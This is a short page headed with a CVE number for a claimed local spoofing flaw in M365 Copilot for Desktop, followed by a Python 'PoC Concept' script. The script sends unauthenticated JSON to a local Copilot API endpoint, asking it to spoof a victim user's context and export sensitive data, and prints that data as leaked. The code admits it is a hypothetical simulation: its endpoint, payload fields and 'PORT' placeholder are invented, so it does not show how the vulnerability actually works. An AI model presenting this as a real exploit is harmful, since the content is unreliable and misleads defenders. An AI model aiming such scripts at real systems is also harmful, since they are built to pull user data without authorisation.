CVE-2026-41614 M365 Copilot本地欺骗漏洞

# PoC Concept for CVE-2026-41614 # This is a simulation of a spoofing attack on M365 Copilot for Desktop # due to improper access control. import requests import json def trigger_spoofing(): # Target local endpoint (Hypothetical) target_url = "http://127.0.0.1:PORT/copilot/api/query" # Malicious payload attempting to spoof user context headers = { "User-Agent": "M365-Copilot-Local-Agent", "Content-Type": "application/json" } # Crafting a request that bypasses access control payload = { "action": "spoof_context", "user_id": "victim_user", "malicious_command": "export_sensitive_data" } try: # Sending request without authentication (PR:N) response = requests.post(target_url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Spoofing successful! Data leaked.") print(response.text) else: print("[-] Attack failed or endpoint not reachable.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": trigger_spoofing()